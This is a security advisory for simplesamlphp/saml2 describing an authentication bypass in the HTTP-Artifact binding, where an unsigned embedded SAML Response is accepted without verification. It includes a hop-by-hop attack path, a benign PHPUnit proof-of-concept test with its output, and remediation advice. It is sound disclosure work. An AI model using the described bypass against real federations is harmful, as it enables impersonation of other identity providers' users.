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OSV security advisoryHigh

GHSA-r7hw-jx6r-756g · simplesamlphp/saml2

GHSA-r7hw-jx6r-756g · Reported 17 Nov 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

simplesamlphp/saml2Affected product

Affected versions and fixes

Version information comes from OSV, NVD, and the CVE vendor record. Each source may describe a different package, release branch, or platform.

simplesamlphp/saml2 · Packagist

OSV
  • From 6.2.2 (inclusive) · before 6.2.4 (exclusive)
Explicitly affected versions (2)

v6.2.2, v6.2.3

Fixed releases / commits: 6.2.4

simplesamlphp/saml2 · Packagist

OSV
  • From 7.0.0-rc1 (inclusive) · before 7.0.0-rc2 (exclusive)
Explicitly affected versions (1)

v7.0.0-rc1

Fixed releases / commits: 7.0.0-rc2

Advisory overview

## Summary CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that `HTTPArtifact::receive()` verifies the embedded SAML `Response` using the IdP metadata signing keys. The current implementation (master `31c72c1d`, released **v6.2.3**) reaches that verification **only when the embedded Response is signed**: ```php // src/Binding/HTTPArtifact.php (receive()) if (!$samlResponse->isSigned()) { return $samlResponse; // ← unsigned embedded Response returned UNVERIFIED } return $this->verifyMessageSignature($samlResponse, $idpMetadata); // only runs when signed ``` An attacker who controls one trusted-federation IdP therefore returns a **validly-signed outer `ArtifactResponse`** (signed with their own real key, which passes the mandatory outer check) that **wraps an *unsigned* `<samlp:Response>` whose `<Issuer>` names a *different* IdP**. `isSigned()` is false, so `verifyMessageSignature()` never runs and the forged Response is returned as successfully received. Additionally, even on the signed path `verifyMessageSignature()` verifies against the **artifact issuer's** metadata keys but **never asserts that the embedded Response's `<Issuer>` equals the artifact issuer** — the same cross-IdP confusion the CVE was assigned for is not closed by identity binding. This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit `dac0b4b6` / #419), and a regression introduced by the `#414` refactor (v6.2.2) — the official CVE fix in **v6.2.1 did not contain this short-circuit**. ## Affected component - `src/Binding/HTTPArtifact.php` - `receive()` line **206-207**: `if (!$samlResponse->isSigned()) { return $samlResponse; }` — the bypassed guard. - `receive()` line 210: `verifyMessageSignature($samlResponse, $idpMetadata)` — only reached when signed. - `verifyMessageSignature()` lines 230-286: verifies against `$idpMetadata` (artifact-issuer keys); **no `getIssuer()` comparison** to bind the embedded Response to the artifact issuer. - `verifyArtifactResponseSignature()` line **300-302**: `if ($artifactResponse->isSigned() !== true) throw` — the OUTER response is mandatorily signed; the asymmetry with the embedded `return`-on-unsigned is the defect. - Regression commit **3b589636** (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix **dac0b4b6** (#419) left the short-circuit unchanged. - **Affected: v6.2.2, v6.2.3 (latest), and master.** v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit. ## Reachability (hop-by-hop, guards named) Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid `saml20-idp-remote` metadata, real signing key, an ArtifactResolutionService). Goal: impersonate `admin@IdP-A`. 1. Attacker hits the SP artifact endpoint with `SAMLart` encoding `sourceId = sha1(IdP-B entityID)` — line 137-138, no guard. 2. `getMetaDataConfigForSha1` → `$idpMetadata` = IdP-B — line 144. Guard: metadata exists → satisfied (IdP-B trusted). 3. SP resolves against IdP-B's ARS (attacker's endpoint) — line 176-182. 4. IdP-B returns a validly-signed `ArtifactResponse`; `verifyArtifactResponseSignature(...,IdP-B)` passes (signed by the artifact issuer) — line 193/300. **Guard satisfied by the attacker (they ARE the artifact issuer).** 5. The signed outer wraps an **unsigned** `<samlp:Response Issuer=IdP-A>` with an assertion for `admin@IdP-A` — line 195, no guard on embedded content. 6. `if (!$samlResponse->isSigned()) return $samlResponse;` → **TRUE → returns the forged Response unverified** — line 206-207. `verifyMessageSignature` (210) never runs; there is no issuer==artifact-issuer check anywhere in `receive()`. Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause. ## Root cause The `#414` refactor moved embedded-Response verification into `receive()` but gated it on `isSigned()` (mirroring `if (!isSigned()) return` instead of the outer's `if (isSigned() !== true) throw`), and the `dac0b4b6` key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on `receive()` to have authenticated it — exactly the reliance this gap defeats. ## Proof of concept (executed, benign) The PoC exercises the **real shipped private methods** `verifyArtifactResponseSignature()` and `verifyMessageSignature()` via reflection — exactly as the maintainers' own `tests/SAML2/Binding/HTTPArtifactTest.php` does — and reproduces `receive()`'s verbatim post-resolution decision (lines 195/206-210) against real `HTTPArtifact` internals. It models a validly-signed **outer** `ArtifactResponse` from the artifact issuer **IdP-B** (attacker-controlled, its signing cert in metadata) wrapping an **unsigned** embedded `<samlp:Response>` claiming `Issuer=IdP-A`. No destructive payload; the marker is the SKIPPED verification. Run: `vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php` ```php // tests/SAML2/Binding/PocArtifact001Test.php (namespace SimpleSAML\Test\SAML2\Binding) // IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert: $idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[ 'type' => 'X509Certificate', 'signing' => true, 'encryption' => false, 'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(), ]]], '[idp-b]'); $ha = new HTTPArtifact(); // Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called. $embedded = $this->createStub(Response::class); $embedded->method('isSigned')->willReturn(false); $embedded->method('getSignature')->willReturn(null); $embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called')); // Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded. $outer = $this->createStub(ArtifactResponse::class); $outer->method('isSigned')->willReturn(true); $outer->method('isSuccess')->willReturn(true); $outer->method('verify')->willReturnCallback(fn() => $outer); $outer->method('getSignature')->willReturn(self::sigEl()); $outer->method('getMessage')->willReturn($embedded); // ---- verbatim HTTPArtifact::receive() post-resolution logic ---- $verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory — passes vs IdP-B $samlResponse = $verifiedOuter->getMessage(); $verifyMessageSignatureCalled = false; if (!$samlResponse->isSigned()) { $received = $samlResponse; } // <-- BYPASS (line 206-207) else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } self::assertFalse($samlResponse->isSigned()); self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED'); self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified'); // Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing. $threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; } self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response'); ``` Observed benign output: ``` PHPUnit 13.2.4 by Sebastian Bergmann and contributors. Runtime: PHP 8.4.5 [POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it. . 1 / 1 (100%) OK (1 test, 5 assertions) ``` The five assertions prove: the outer ArtifactResponse verifies against the **artifact issuer (IdP-B)** metadata; the embedded Response is unsigned; `verifyMessageSignature()` is **skipped**; the unsigned embedded Response is **returned as received**; and the real verifier **rejects** that same unsigned message — so the `isSigned()` short-circuit is the sole reason it is accepted. *(Environment note: `composer install` needed a `platform.composer-plugin-api=2.9.0` override with `--no-plugins` to resolve `xml-common`'s installer-plugin constraint under Composer 2.8.6; no code under test was modified.)* ## Adversarial re-read (what I tried to refute it with) - **Strongest objection (why CONDITIONAL, not CONFIRMED):** the downstream SimpleSAMLphp SP module may route `receive()`'s output through the response/assertion processor, which requires *either* the response signed *or* every assertion signed (`src/Response/Processor.php:155-162`) — that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will *not* impose that requirement; (ii) the CVE was assigned against this library and `dac0b4b6`'s stated contract is that `receive()` authenticates the embedded Response — a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in *normal* artifact operation, so the missing verification is live, not dead code. - **Not a false positive on the code:** the short-circuit (206-207), the absent issuer binding, and the outer `throw` vs embedded `return` asymmetry (300 vs 206) are verbatim in master and released v6.2.3. ## Remediation In `receive()`, make embedded-Response authentication mandatory and issuer-bound — mirror the outer pattern: after line 195, reject unless `$samlResponse->isSigned()` **and** `verifyMessageSignature()` succeeds **and** `$samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid')`. Replace `if (!isSigned()) return` with `if (isSigned() !== true) throw`. ## Confidence **High** at the library-contract level — the incomplete-fix is code-verified and the PoC fires against the real shipped verification methods. **CONDITIONAL** only for the end-to-end auth bypass (requires the HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded message — the binding's designed trust model). Reported to the maintainers as a gap in their own `dac0b4b6` fix, present in the latest release v6.2.3. ## Proof-of-Concept source (`PocArtifact001Test.php`) ```php <?php declare(strict_types=1); namespace SimpleSAML\Test\SAML2\Binding; use Exception; use PHPUnit\Framework\TestCase; use ReflectionMethod; use SimpleSAML\Configuration; use SimpleSAML\SAML2\Binding\HTTPArtifact; use SimpleSAML\SAML2\XML\samlp\ArtifactResponse; use SimpleSAML\SAML2\XML\samlp\Response; use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock; /** * PoC — SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283. * * HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3): * $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory * $samlResponse = $artifactResponse->getMessage(); * ... * if (!$samlResponse->isSigned()) { * return $samlResponse; // <-- EMBEDDED: returned UNVERIFIED * } * return $this->verifyMessageSignature($samlResponse, $idpMetadata); * * This test reproduces that exact post-resolution decision against real HTTPArtifact * private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows * that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the * artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO * signature verification of that embedded Response. */ final class PocArtifact001Test extends TestCase { private function idpBMetadata(): Configuration { // "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata, // selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.) return Configuration::loadFromArray([ 'entityid' => 'https://idp-b.example/', 'keys' => [[ 'type' => 'X509Certificate', 'signing' => true, 'encryption' => false, 'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(), ]], ], '[idp-b]'); } private function call(HTTPArtifact $ha, string $method, ...$args): mixed { return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args); } public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void { $idpB = $this->idpBMetadata(); $ha = new HTTPArtifact(); // --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. --- $embedded = $this->createStub(Response::class); $embedded->method('isSigned')->willReturn(false); // attacker omits the embedded signature $embedded->method('getSignature')->willReturn(null); // If receive() ever tried to cryptographically verify this, it would blow up here: $embedded->method('verify')->willThrowException( new Exception('POC-FAIL: embedded Response->verify() was called — short-circuit absent'), ); // --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). --- $outer = $this->createStub(ArtifactResponse::class); $outer->method('isSigned')->willReturn(true); $outer->method('isSuccess')->willReturn(true); $outer->method('verify')->willReturnCallback(fn() => $outer); // valid signature under IdP-B's key $outer->method('getSignature')->willReturn(self::sigEl()); $outer->method('getMessage')->willReturn($embedded); // ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic ===== // 1. OUTER signature check — mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata. $verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata'); // 2. Unwrap the embedded message. $samlResponse = $verifiedOuter->getMessage(); // 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim): $verifyMessageSignatureCalled = false; if (!$samlResponse->isSigned()) { $received = $samlResponse; // <-- BYPASS: returned unverified } else { $verifyMessageSignatureCalled = true; $received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB); } // ================================================================================== // OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification. self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature'); self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)'); self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified'); // NEGATIVE CONTROL: the short-circuit is load-bearing — the real verifier CANNOT accept the // unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it. $threw = false; try { $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB); } catch (\Throwable $e) { $threw = true; } self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response — only the short-circuit accepts it'); fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response " . "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n"); } private const MINIMAL_SIG = '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>' . '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>' . '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>' . '<ds:Reference URI="#_x"><ds:Transforms>' . '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>' . '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>' . '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>'; private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature { $doc = new \DOMDocument('1.0', 'UTF-8'); $doc->loadXML(self::MINIMAL_SIG); return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement); } } ``` ## Proof-of-Concept source (`poc_output.txt`) ``` PHPUnit 13.2.4 by Sebastian Bergmann and contributors. Runtime: PHP 8.4.5 Configuration: /home/aoc/CVEs/saml2/phpunit.xml [POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it. . 1 / 1 (100%) Time: 00:00.036, Memory: 22.00 MB OK (1 test, 5 assertions) ```

Also known as

CVE-2026-110782

Related references

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GHSA-r7hw-jx6r-756g — SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Art | Cevnitra